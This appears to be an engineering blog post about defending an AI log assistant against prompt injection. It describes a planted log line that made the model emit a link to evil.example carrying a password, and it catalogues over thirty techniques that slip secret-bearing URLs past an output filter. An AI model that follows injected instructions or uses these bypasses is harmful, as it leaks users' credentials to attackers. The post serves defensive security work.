Thirty ways to leak a secret through a link: red-teaming an LLM output filter

JustLog3 Cloud stores application logs, and its AI assistant reads them. Logs are attacker-controlled: anyone who can make your app log a string can put an instruction in front of the model. In our first red team, a line planted in the logs made the model answer with [Open the report](https://evil.example/r?d=<the password from the same logs>). One click sends the secret to whoever planted it.

The fix sounded simple: before an answer reaches the browser, find every link and remove the target of any link whose URL holds a piece of the data the model saw. Over a dozen review rounds, three models (OpenAI Codex, Gemini and an open-weight model through Ollama) attacked each version of that filter. They found more than 30 ways around it. Every claim was checked by hand and became a regression test; the test table now holds 58 URL forms.

1. Links the filter didn't know were links

The first version looked only at [text](url). Our renderer (marked, then DOMPurify) and the browser make links out of much more:

• raw HTML <a href>, including unquoted values with a quote or a no-break space inside;
• reference-style links, also with the URL on the line after [r]:;
• <autolinks> with a backtick inside, <mailto:...?body=...> and sms: with a prefilled body;
• bare URLs, www., scheme-relative //host, and /\host, which the browser reads as //host;
• destinations in angle brackets with a space inside, and titles in parentheses.

2. URLs read differently from the browser

• https://evil.example\secret: browsers treat \ as /.
• https://github.com%5c@evil.example/secret: we percent-decoded before splitting, so the host looked like trusted github.com. The browser sees userinfo, then evil.example.
• secret。evil.example and fullwidth letters: the browser folds them to ASCII.
• HTML entities: https://, hunter2, a 	 inside the secret (the browser drops the tab),   that splits the URL for a naive parser, and double encoding.
• Markdown escapes: alpha\-bravo is alpha-bravo to marked.

3. The secret in disguise

Matching URL pieces against the context missed a secret glued to other letters (?d=xhunter2) or recased (HUNTER2). The filter now also checks the other way round: every data-like word of the context is looked for inside the URL, ignoring case.

4. Two languages, two kinds of whitespace

Python's \s matches U+0085 and U+001C to U+001F; JavaScript's does not. marked kept <https://evil.example/?a=1[U+0085]&d=secret> as one link while our regex stopped at U+0085. The patterns now spell out JavaScript's whitespace. Next round: we skipped anything shaped like an HTML tag, but marked ends a comment at its first --> and reads \< as text. We ported marked's own tag rule instead.

5. Speed is part of security

One model's draft regex nested quantifiers and ran for minutes on a 24-character URL. Later, one answer with 14,000 numbers in a link took 5 seconds against 400 KB of logs. The patterns are linear now, the reverse check is indexed, and the forward check has a budget: past it, links lose their targets (fail closed).

What we took from it

• An output filter must parse exactly like the renderer and the browser. Every difference is a bypass, so port their rules instead of writing your own.
• Check both directions, and fail closed.
• Review with more than one model, and verify every finding. Codex found real holes in almost every round. Gemini caught some it missed (entity delimiters, mailto:). The open-weight model found none in the first round.
• It is still a heuristic: a model told to base64-encode the secret gets past it. The structural fix is to show the full URL and ask before following an external link from an AI answer.

Found a bypass that is not on this list? Tell us: we will add it to the table.